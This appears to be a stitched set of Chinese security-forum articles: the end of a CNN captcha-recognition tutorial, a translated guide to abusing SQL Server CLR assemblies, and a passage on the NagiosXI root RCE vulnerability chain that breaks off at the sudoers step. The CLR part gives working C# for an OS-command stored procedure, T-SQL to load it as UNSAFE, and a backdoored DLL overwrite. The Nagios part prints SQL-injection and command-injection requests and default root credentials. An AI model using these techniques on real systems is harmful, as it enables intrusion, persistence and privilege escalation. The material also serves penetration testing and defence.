简单的来说，人工智能的实现方式包括了机器学习，而机器学习实现的方式可以通过深度学习来实现。
而CNN，简单的可以理解为是深度学习的一种实现方式（这里并不严谨！但是展开描述会非常困难,这里就不表述了。）
### CNN经典结构
简单了解CNN的概念以后，我们先来看一下 CNN的几种结构。
* Lenet，1986年
* Alexnet，2012年
* GoogleNet，2014年
* VGG，2014年
* Deep Residual Learning，2015年
几乎都是来自 Lennt的优化和改良。 Lenet的结构如图所示，
经典的Lennt是由
* 输入 INPUT（图片转置矩阵）
* 卷尺层 Convolution（对图片进行过滤器 输出特征图 Feature）
* 池化层 Pooling（也叫子采样层 图中的 Subsampling ）
* 全联接层 FullConnection （主要对卷尺池化后的结果进行分类的结果 OUTPUT）
五个基础部分组成
图中所示结果 则是
**输入- >卷尺->池化->卷尺->池化->全联接->全联接->输出 **
这里简单说一下卷尺和池化，全联接简单的理解就是一个简单的分类函数即可。
### 卷尺 Convolution
#### 卷尺构成
输入 -> 过滤器 = 输出
假设 我们有一个3x3的图像，卷尺核（又叫过滤器）为3x3的矩阵得出的结果如图
卷尺要先把卷尺核调转180度后在去计算。左上 的 -13 的计算过程如下
一个完整的卷尺过程如下
#### 卷尺的计算类型
* full
* same
* valid
这里有三种 我们只需先了解same就行，和意思一样 卷尺后的大小 和 卷尺前一样。
* 各种卷尺方式 <https://github.com/vdumoulin/conv_arithmetic>
#### 卷尺作用
概念有点晕 下面举几个例子说明一下卷尺的作用
##### 例子 1
当卷尺如下所示，对一个图像做卷尺时
（1就相当于权重，新像素点包含对应像素点与其周边像素点的综合信息，等于求平均值
得出来的图片效果 就是 模糊效果 ）
##### 例子 2
当卷尺如下所示，对一个图像做卷尺时
如果像素点周围颜色和该像素点差不多，那么得出来的值接近0 也就是黑色
如果像素点和周围的颜色差别巨大 那么就会得到一个比较大的非0值
这个矩阵的作用是检测物体的边缘值，卷尺后的效果
简单的理解 **卷尺对原图完成了特征抽取的工作**
### 池化 pooling
池化的结果是使得特征减少，参数减少。
#### 池化的类型
常见的两种池化的类型
* mean-pooling 求邻近平均
* max-pooling 取邻近最大
例子 ：4*4 矩阵 的通过2x2的 max ooling后 如下
**简单的理解** 池化的作用就是保持一定特征的情况下缩减图片面积
至此 我们就差不多掌握了CNN的所有的基础的概念 。那么接下来就是回顾我们上上篇文章的模型。
### Tensorflow CNN的代码理解
打开 **captcha_model.py** 文件
看 first layer
#first layer
w_conv1 = self.weight_variable([5, 5, 1, 32])
b_conv1 = self.bias_variable([32])
h_conv1 = tf.nn.relu(tf.nn.bias_add(self.conv2d(x_images, w_conv1), b_conv1))
h_pool1 = self.max_pool_2x2(h_conv1)
h_dropout1 = tf.nn.dropout(h_pool1,keep_prob)
conv_width = math.ceil(self.width/2)
conv_height = math.ceil(self.height/2)
* w_conv1 就是 我们所说的过滤器 ，[5, 5, 1, 32] 表示为一个5x5，通道为1（黑白图片 所以通道为1） 深度为32 的过滤器 。
* b_conv1 一般和过滤器的深度一致
* 步长为1的卷尺的过程 tf.nn.relu(tf.nn.bias_add(self.conv2d(x_images, w_conv1), b_conv1)) 得出的卷尺结果是 h_conv1
* 池化是采用2x2 的max-pooling 方式 结果为 h_pool1
* h_dropout1 用tf.nn.dropout 的方式输出了下一层的结果
* 此时 因为池化是2x2 所以 长和宽都缩减为原来的1/2 所以要除2 （这也是为什么验证码的长宽均为2的倍数的时候比较好 因为缩减无损不需要额外的开销）
* max_pool_2x2，conv2d这些自定义函数里面包含了 步长 padding的方式等等
那么 layer(例如 first layer，second layer) 包含了卷尺层和池化层
fully layer 则是 全连接层 ，全连接层没什么特别的地方 主要用于归类和输出结果。
那么我们编写的模型就是
**输入- >卷尺->池化->卷尺->池化->卷尺->池化->全联接->全联接->输出 **
我们对模型的原理和结构了解了以后 我们可以开始尝试优化了。
## 0x003调参和优化的方法介绍
我们编写的模型
**输入- >卷尺->池化->卷尺->池化->卷尺->池化->全联接->全联接->输出 **
对比 Lenet的模型
**输入- >卷尺->池化->卷尺->池化->全联接->全联接->输出 **
可以看到仅仅是比 Lenet的模型 多了一个 卷尺->池化 的过程，
实际上 关于图片分类的CNN结构 我们都可以用一个正则表达式表示：
**输入 - > ( 卷尺+ -> 池化? )+ -> 全联接+ -> 输出 **
![注：池化层可以去掉的原因是因为有论文表明 池化的过程可以通过调整卷尺过滤器的步长来完成]
所以 根据我们所掌握的原理 有以下几种方式去优化我们的模型，大部分是修改过滤器的参数
* padding 图像大小 使其接近2的倍数
* 修改过滤器的大小。我们这里的过滤器是5*5 一般来说就是用 7x7,5x5,3x3等等去试 。过滤器的大小影响特征是否更完整。
* 修改过滤器的步长。假设图片中有大片色块相同的区域，可以尝试把步长跳大，更快的提取特征。
* 修改过滤器的padding方式 。(参考上文的图)
* 增加或者减少( 卷尺+ -> 池化? )+
* 选择更加优秀的算法 FNN,Attention,迁移算法等
**总的来说，就是多试，多修改模型以便于更好的提升识别率。**
## 0x004 总结
使用tensorflow自动识别验证码 系列的基本写完了。原本还有
* 使用tensorflow自动识别验证码（四） 自动化批量识别验证码
但是已经和tensorflow 关系不大。无非就是通过队列和web控制台去调用这篇文章的模型去获取API去学习而已。所以暂且告一段落。
今后的重心把对图片识别转移到日志分析和威胁情报类，结合兜哥的书籍对常见的一些日志系统例ELK等等编写分析模型对tensorflow进行更深入的学习。
## 0x005 参考资料
* <http://deeplearning.net/tutorial/lenet.html>
* <http://blog.csdn.net/xbinworld/article/details/45619685>
* <http://www.jianshu.com/p/606a33ba04ff>
* <http://ufldl.stanford.edu/wiki/index.php/%E5%8D%B7%E7%A7%AF%E7%89%B9%E5%BE%81%E6%8F%90%E5%8F%96>
* <https://github.com/vdumoulin/conv_arithmetic> | 社区文章 |
本文中，我将以Nathan
Krik的CLR系列文章提到的[CLR](https://en.wikipedia.org/wiki/SQL_CLR)[assembly](https://en.wikipedia.org/wiki/Assembly_\(CLI))为基础进行拓展。同时我也会介绍如何创建、导入、导出以及修改SQL
Server的CRL库去实现提权、命令执行以及持久化操作。
先让我们来对要介绍的内容进行一个略览。你也可以跳过这部分内容：
* CLR assembly是什么？
* 为SQL Server定制化CLR
* 将CLR DLL文件转为16进制并导入（不需要通过文件）
* 列出CLR的存储过程
* 将存在的CLR assembly导出为dll
* 修改导出的CLR DLL文件与在SQL Server中对存在的CLR Assembly进行修改
* 通过定制化的CLR进行提权
## 什么是CLR assembly
为了能够达到本片博客的目的，我们将[Common Language Runtime](https://docs.microsoft.com/en-us/dotnet/standard/clr)(CLR) assembly定义为.Net DLL（也可理解为一组DLL文件），这些文件均能导入至SQL
Server。成功导入后，DLL的方法会被链接到存储过程，并通过TSQL执行。尽管创建和导入自定义CLR assembly是开发人员扩展SQL
Server的内置函数的好方法，但这也为攻击者制造了机会。
## 如何为SQL Server定制化CLR DLL
接下来的这段C#模版功能是执行操作系统命令，它是建立在Nathan
Kirik的工作成果和一些极棒的[微软文章](https://msdn.microsoft.com/en-us/library/ms131094.aspx)上。当然，你可以在此基础上进行修改，如果修改完了，记得另存为"C:\temp\cmd_exec.cs"。
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
现在咱们的目标是通过csc.exe对"C:\temp\cmd_exec.cs"进行编译。即使你没有安装Visual
Studio也不用担心，因为.NET框架默认是携带了csc.exe。所以，问题只是这个软件藏在你操作系统的某处。你可以通过下面这段PowerShell命令找到它哦。
Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname
假设你已经找到了csc.exe，接着你可以通过下面这样的命令对 "c:\temp\cmd_exec.cs" 进行编译。
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs
## 如何导入将CLR DLL导入到SQL Server
为了将刚生成的dll导入Sql Server，你必须以sysadmin权限登录，同时还需要CREATE ASSEMBLY的权限或者是ALTER
ASSEMBLY权限。按照下面的步骤来操作的话能够成功注入DLL并将其与存储过程链接在一起，这么一来的话就可以通过TSQL来执行cmd_exec函数了。
首先以sysadmin登录SQL Server接着进行下面的查询。
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
现在你应该可以通过"msdb"中"cmd_exec"存储过程执行操作系统命令了，效果如下：
当你完成了这一步，你便可以通过下面的命令删除存储过程和assembly。
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
## 如何将CLR DLL转为十六进制字符串，而后不通过文件导出呢？
如果你阅读过Nathan Kirk's的[系列博客](http://sekirkity.com/requested-command-execution-with-sqli-via-seeclrly/)，那你一定知道在将CLR assemblies导入到SQL
Server时不必引用物理上的DLL。"CREATE ASSEMBLY"会接受十六进制形式的CLR
DLL文件。下面的PowerShell脚本例子会向你展示如何将'cmd_exec.dll'文件转化为TSQL命令，该命令不经过物理文件的引用就可用来创建assembly。
# Target file
$assemblyFile = "c:\temp\cmd_exec.dll"
# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:\temp\cmd_exec.txt
如果这一切都进行得很顺利，文件"c:\temp\cmd_exec.txt"会包含下面的TSQL命令。以文中的为例，你可以看到十六进制字符被截断了，但是你自己的那块应该更长点。
-- Select the MSDB database
USE msdb
-- Enable clr on the server
Sp_Configure 'clr enabled', 1
RECONFIGURE
GO
-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec];
GO
-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami'
GO
当你在Sql Server中以sysadmin权限运行来自"c:\temp\cmd_exec.txt"的TSQL命令时，输出结果看起来应该和下面的差不多。
#### 利用PowerUpSQL自动化
如果你从未使用过PowerUpSQL，你可以在[这](https://github.com/NetSPI/PowerUpSQL/wiki)找到安装说明。
我写了个PowerUpSQL函数，名为Create-SQLFileCLRDLL，这可以用来加快创建类似的DLLs和TSQL脚本。该函数有一些可选参数，用来定制assembly名、类名、方法名以及存储过程名。如果不指定参数的话，这些名字都会随机的。下面是一个基本的命令例子：
PS C:\temp> Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp
C# File: c:\temp\runcmd.csc
CLR DLL: c:\temp\runcmd.dll
SQL Cmd: c:\temp\runcmd.txt
下面的这行简短的代码时用来生成10个样本（CLR DLLS/CREATE ASSEMBLY TSQL脚本）。这对于在实验室尝试CLR
assemblies来说会非常方便。
1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:\temp -OutFile myfile$_ }
## 我是如何列出存在的CLR Asssemblies和CLR存储过程的呢？
你可以使用下面这条TSQL查询去验证你的CLR assembly是否安装正确，或用来寻找已经存在的用户定义的CLR assemblies。
注意：这个版本的代码是被我修改过的，[原版在这](https://stackoverflow.com/questions/3155542/sql-server-how-to-list-all-clr-functions-procedures-objects-for-assembly)。
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
通过这条查询，我们能够看到文件名、assembly 名，assembly类名，assembly方法以及方法对应的存储过程。
这个时候你应该能看到出现在你眼前的结果中是包含了"my_assembly"的。如果你通过我前面所提到的"Create-SQLFileCLRDll"命令执行了10次TSQL查询，你也能看到与assembly对应的信息。
#### 利用PowerUpSQL自动化
为了完成上面这个过程，我在PowerUpSQL中添加了一个名为"Get-SQLStoredProcedureCLR"的函数，该函数会自动迭代整个数据库并为每个assembly提供一一对应的信息。下面是这条命令的示例。
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView
你也在所有域SQL服务器上执行下面这条命令（前提是你得有足够的权限）
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
## 存储过程参数映射
攻击者不是唯一创建不安全assemblies的人群。有些情况下，开发人员也会去创建一些能够和操作系统资源交互的assembly或者能够直接执行操作系统命令的assembly。所以，以assembly为目标是可能导致提权的。举个例子来说，如果我们这边是存在不安全的assembly，我们可以尝试定义这些assembly能够接受的参数以及如何使用他们。这里出于乐趣，我们使用下面的这条查询去随意确定cmd_exec存储过程所能接受的参数。
SELECT pr.name as procname,
pa.name as param_name,
TYPE_NAME(system_type_id) as Type,
pa.max_length,
pa.has_default_value,
pa.is_nullable
FROM sys.all_parameters pa
INNER JOIN sys.procedures pr on pa.object_id = pr.object_id
WHERE pr.type like 'pc' and pr.name like 'cmd_exec'
在这个例子中，我们可以看到它只接受了名为"execCommand"的字符串参数。以存储过程为目标的攻击者或许能够判断出这可以用于命令执行。
## 如何将SQL Server中的CLR Assembly导出成DLL。
对已存在的CRL assembly存储过程的功能进行简单的测试不是我们找到升级路径的唯一选项。在SQL Server中，我们可以将用户定义的CLR
assemblies导出为DLLS。我们来聊聊CLR识别到CLR源码。开始的第一步是对assemblies进行识别，然后将它们导出为DLLs文件，接下来再是反编译，这样一来我们就可以进行分析其中的问题（也可能被修改插入了后门）。
#### 利用PowerUpSQL自动化
上一节内容中，我们提到了如何使用PowerUpSQL命令列出CLR assembly，命令如下。
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
上面的Get-SQLStoredProcedureCLR函数还支持"ExportFolder"选项，如果你设置了该参数，它就会将assemblies导出到指定的文件夹中。下面是一个示例和输出。
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -ExportFolder c:\temp -Username sa -Password 'sapassword!' | Format-Table -AutoSize
完成后，你也可以批量的导出CLR DLLS文件（前提是你得是域用户和sysadmin用户），然后使用下面这条命令就能达到效果。
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:\temp | Format-Table -AutoSize
你可以在输出文件夹中找到DLLs，该脚本会以每台服务器的名字、实例以及数据库名字动态构建文件夹结构。
接下来只需要通过你最爱的反编译器就能看到源代码了。在过去一整年里，我成为了dnsSpy的忠实粉丝，至于原因嘛，在你阅读完下一部分就知道了。
## 我是如何对CLR DLL进行修改，同时还将已导入SQL Server的Assembly进行覆写的？
下面这张图是一张轮廓图，主要展示了通过dnSpy如何反编译、观察、编辑、保存以及再导入已存在SQL Server中的CLR
DLL文件。你可以在这下载到[dnSpy](https://github.com/0xd4d/dnSpy/releases).
这里我们就以早些时候从SQL Server导出的cmd_exec.dll为例，对其进行修改。
第一步，用dnSpy打开cmd_exec.dll文件。左侧栏，往下拉直到你找到cmd_exec方法，选中它。接着你就能看到了源代码，现在可以开始寻找漏洞了。
第二步，在右边包含源码的界面右击然后选择“Edit Method(C#)"。
第三步，编辑你希望的代码。但是，在这个例子中我添加了一个后门，该后门的作用是每调用一次cmd_exec，它就会在"C:\temp\"目录下增加一个文件。示例代码和截图如下。
[SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
Process expr_05 = new Process();
expr_05.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
expr_05.StartInfo.UseShellExecute = true;
expr_05.Start();
expr_05.WaitForExit();
expr_05.Close();
Process expr_54 = new Process();
expr_54.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:\\temp\\clr_backdoor.txt", execCommand.Value);
expr_54.StartInfo.UseShellExecute = true;
expr_54.Start();
expr_54.WaitForExit();
expr_54.Close();
}
第四步，通过点击完成保存修补后的代码。接着点击顶部菜单栏的选择文件，保存模块，保存它。
根据[微软的资料](https://msdn.microsoft.com/en-us/library/system.reflection.module.moduleversionid.aspx)来看，每次CLR编译，都有一个唯一的GUID生成并会内嵌在编译后的文件头上。所以，识别统一文件的不同版本是可行的。这个ID也可以叫做MVID（模块版本ID）。为了覆写已存在SQL
Server中的CLR，我们一定得手动改掉MVID。下面是整个过程的概览。
第一步，如果没打开cmd_exec，请在dnSpy中打开。接着将可见界面拖到PE部分，选择"#GUID"存储流，接着右键并选择以十六进制格式显示数据。
第二步，你一定得去修改这些被选中的字节，可以修改成任意值。
第三步，从顶部菜单选择文件然后保存模块。
#### 利用PowerShell自动化
你可以使用我之前提供给你的原生PowerShell命令或者是使用下面示例的PowerUPSQL命令去获取来自新改动的cmd_exec.dll文件的十六进制字节，接着生成ALTER语句。
PS C:\temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .\cmd_exec.dll
VERBOSE: Target C# File: NA
VERBOSE: Target DLL File: .\cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt
C# File: NA
CLR DLL: .\cmd_exec.dll
SQL Cmd: C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt
新的cmd_exec.txt文件看起来是应该是这样的。
-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
Alter语句通常用于存在的CLR而不是DROP和CREATE。就像微软谈到的，"ALTER ASSEMBLY
不会中断在不停变化的assembly中运行的代码的会话。"所以，一句话概括就是不会出现异常。TSQL查询如下图所示。
为了检验你的代码修改是否生效，请运行cmd_exec存储过程然后检测是否生成了"C:\temp\backdoor.txt"
## 我能否通过定制化的CLR进行SQL Server提权吗？
当然能了，但最开始可能会遇到一些不太令人喜欢的情况。
如果你不是以sysadmin登录SQL Server，但你又有CREATE和ALter ASSEMBLY权限，也许你能够在SQL
Server服务账号（默认是sysadmin）下使用可以执行操作系统命令的CLR去获得sysadmin权限。然而，为了让你成功，你创建的CLR
assembly所在的数据库必须设置了is_trustworthy标志为1，同时还得启用了clr
enabled（也就是说不能禁用clr）。默认情况下，只有msdb数据库是可信的，并且clr enabled设置是被禁用的。
我从未见过CREATE或ALTER
ASSEMBLY权限明确分配给能够登录的用户。然而，我却见过应用程序的SQL登录被添加到"db_ddladmin"数据角色，并且这个角色的的确确拥有"ALTER
ASSEMBLY"权限。
注意，SQL Server 2017引进了clr strict security配置。微软文档讲述了该配置应被禁止防止UNSAFE或EXTERNAL
assembly被创建。
## 告警
本文中，我仅展示了一部分可能被滥用的CLR assemblies同时有些任务（比如导出CLR
assemblies）可以通过PowerUPSQL来批量完成。值得注意的是文中的所有技术都可以被记录和用语警告（通过原生SQL
Server功能），但是我期待有另外一天重提这些。除此之外，请愉快的玩耍和带有责任的hack吧。
## 参考
* [https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqlpipe.sendresultsrow(v=vs.110).aspx](http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/)
* [https://msdn.microsoft.com/en-us/library/system.reflection.module.moduleversionid.aspx](http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/)
* [https://msdn.microsoft.com/en-us/library/ff878250.aspx](http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/)
* [https://docs.microsoft.com/en-us/sql/t-sql/statements/create-assembly-transact-sql](http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/)
* [https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-assembly-transact-sql](http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/)
* <http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/>
## 译者参考资料
1.[NET
基础——CLR、BCL、DLL、Assembly](http://blog.csdn.net/luckystar689/article/details/42559607)
2.[MySQL UDF（自定义函数)](http://www.cnblogs.com/raker/p/4377343.html)
## [原文](https://blog.netspi.com/attacking-sql-server-clr-assemblies/) | 社区文章 |
原文：<http://blog.redactedsec.net/exploits/2018/04/26/nagios.html>
**摘要**
* * *
在NagiosXI中，我们发现了四个漏洞，这本不足为奇，然而，如果将它们链接在一起的话，却可以构造出一个root级别RCE漏洞，具体利用代码可在[此处](https://www.exploit-db.com/exploits/44560/
"此处")找到。换句话说，漏洞链接技术可以提升单个漏洞的战斗力，从而“培育出”像root级别的RCE这样极其危险的漏洞。如果读者当前运行的NagiosXI的版本号小于等于5.4.12的话，请马上进行升级。
在对应用程序的漏洞进行安全评估的过程中，有时候需要在安全报告中评估漏洞的严重程度，比如“由于只能通过y漏洞进行x操作，所以该漏洞很可能无需进行修复”。实际上，这种说法很可能会低估漏洞的危害性，部分原因是它忽视了漏洞链接技术的影响。
漏洞链接就是将多个漏洞组合使用，从而实现一个超越链中任何单个漏洞的危害程度的高危漏洞的过程。[这里](https://foxglovesecurity.com/2016/01/16/hot-potato/ "这里")提供了一个关于漏洞链接技术的优秀示例。此外，[Offensive
Security提供的AWAE培训](https://www.offensive-security.com/information-security-training/advanced-web-attack-and-exploitation/ "Offensive
Security提供的AWAE培训")基本上就是一个漏洞链接方面的课程。另一个漏洞链方面的例子，就是下文将要详细讲解的NagiosXI
root级别RCE漏洞。
这里的Nagios XI漏洞是通过链接四个漏洞来实现的：
* CVE-2018-8734 —— [SQL注入漏洞](https://nvd.nist.gov/vuln/detail/CVE-2018-8734 "SQL注入漏洞")
* CVE-2018-8733 —— [认证绕过漏洞](https://nvd.nist.gov/vuln/detail/CVE-2018-8734 "认证绕过漏洞")
* CVE-2018-8735 —— [命令注入漏洞](https://nvd.nist.gov/vuln/detail/CVE-2018-8734 "命令注入漏洞")
* CVE-2018-8736 —— [特权提升漏洞](https://nvd.nist.gov/vuln/detail/CVE-2018-8734 "特权提升漏洞")
首先需要说明的是，这里涉及的各个漏洞都是相互独立的，接下来，我们将为读者介绍如何将这些Web应用程序的漏洞链接起来，从而在NagiosXI应用程序服务器上实现一个root级别的RCE。如果读者希望在自己的机器上面复现这个漏洞的话，可以从以下地址下载含有这些漏洞的NagiosXI版本：
<https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova>
相应的漏洞利用代码，参见下列地址：
<https://www.exploit-db.com/exploits/44560/>
**CVE-2018-8734 —— SQL注入(未认证)**
* * *
当发送未认证的`html GET
<nagiosxi_host>/nagiosql/admin/helpedit.php`请求时，会返回一个含有302响应码的应答，该代码会将其重定向回/nagiosql/index.php。在浏览器中，Web应用程序可以将未认证的会话重定向回来，通过HTTP
Auth方式进行认证，这没有什么不正常的，但是通过拦截Web代理并查看响应内容，我们发现其中含有一个适合用于做突破口的表单。快速浏览该表单后，我们发现如下所示的表单提交POST，它是提交给helpit.php的，其中包含一个易受攻击的selInfoKey1参数。
POST /nagiosql/admin/helpedit.php HTTP/1.1
Host: <nagiosxi_host>
Content-Type: application/x-www-form-urlencoded
selInfoKey1=SQLI_PAYLOAD&hidKey1=common&selInfoKey2=&hidKey2=free_variables_name&selInfoVersion=&hidVersion=&taContent=&modus=0
由于我们对该应用程序进行的是白盒测试，因此，可以检查数据库日志来找出注入漏洞的准确位置（对于这类白盒SQLi技术感兴趣的读者，可进一步参阅[这篇文章](http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html
"这篇文章")）。在对数据库日志进行分析后，我们发现，参数selInfoKey1存在SQLi漏洞。除此之外，我们还发现，执行这个可注入查询的数据库用户（nagiosql）没有足够的权限，所以无法完成一些重要的攻击任务，例如添加用户、转储密码哈希值或枚举会话。
[+] 这是一个未认证的SQL注入漏洞！
[-] 数据库用户没有足够的权限来执行我们感兴趣的操作。
**CVE-2018-8733 —— 认证绕过漏洞**
* * *
这个漏洞的CVE描述可能是误导性的，因为我们无法利用这个漏洞全面绕过身份验证。相反，与前面讨论的CVE的情况类似，即对```html
<nagiosxi_host> /nagiosql/admin/settings.php</nagiosxi_host>
```html
POST /nagiosql/admin/settings.php HTTP/1.1
Host: <nagiosxi_host>
Content-Type: application/x-www-form-urlencoded
txtRootPath=nagiosql%2F&txtBasePath=%2Fvar%2Fwww%2Fhtml%2Fnagiosql%2F&selProtocol=http&txtTempdir=%2Ftmp&selLanguage=en_GB&txtEncoding=utf-8&txtDBserver=localhost&txtDBport=3306&txtDBname=nagiosql&txtDBuser=nagiosql&txtDBpass=n%40gweb&txtLogoff=3600&txtLines=15&selSeldisable=1
在这里，我们关注的不是注入漏洞，相反，对我们来说重要的是能够设置数据库用户帐户。如果我们可以使用该表单为nagiosql
db用户获取更多权限，那么就意味着以前的SQLi攻击所无权访问的数据库内容，现在就有可能访问了。事实证明，我们的确可以做到这一点；设备的ssh凭证默认设置为root：nagiosxi，并且这些凭证也适用于具有root权限的数据库用户。
[+]我们可以修改数据库用户帐户！
[+]我们可以破坏应用程序配置从而导致拒绝服务（DoS）攻击！
[-]如果单独利用这个漏洞的话，最多只能发动DoS攻击。
**CVE-2018-8735 —— 命令注入（已认证）**
* * *
这个命令注入漏洞主要是通过分析应用程序.php文件源代码而发现的。这对我们很有用，一则受它影响的NagiosXI版本范围广，二则它是以用户'nagiosxi'（而不是'apache'）的身份来运行的。经过一番折腾之后，我们终于找到了一个含有安全漏洞的POST请求，准确来说，它容易受到已经通过身份验证的命令注入攻击的影响：
POST /nagiosxi/backend/index.php HTTP/1.1
Host: 10.20.1.179
Content-Type: application/x-www-form-urlencoded
Cookie: nagiosxi=eb8pa9098grmgummu2pnofq3f5
Content-Length: 66
cmd=submitcommand&command=1111&command_data=$(your_command_here)
这些POST请求会收到一些应答，因此，不建议直接进行命令注入：
<?xml version="1.0" encoding="utf-8"?>
<result>
<code>0</code>
<message>OK</message>
<command_id>12</command_id>
</result>
但是，别忘了我们进行的是白盒测试，所以可以直接将文件放到/tmp目录，然后进行相应的验证：
[root@nagiosxi_host tmp]# ls -l
...
-rw-r--r-- 1 nagios nagios 0 Apr 13 02:21 testing
...
[+] 我们可以注入命令！
[-] 已通过身份验证，并且需要管理员级别的授权。
**CVE-2018-8736 —— 本地权限提升**
* * *
最后，我们需要寻找一些本地权限提升漏洞，原因吗，不说大家也知道的。一般来说，在linux环境下查找本地权限提升漏洞时，首当其冲的就是sudoers文件。以下内容摘自Nagios/etc/sudoers文件：
...
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/html/includes/components/profile/getprofile.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/upgrade_to_latest.sh
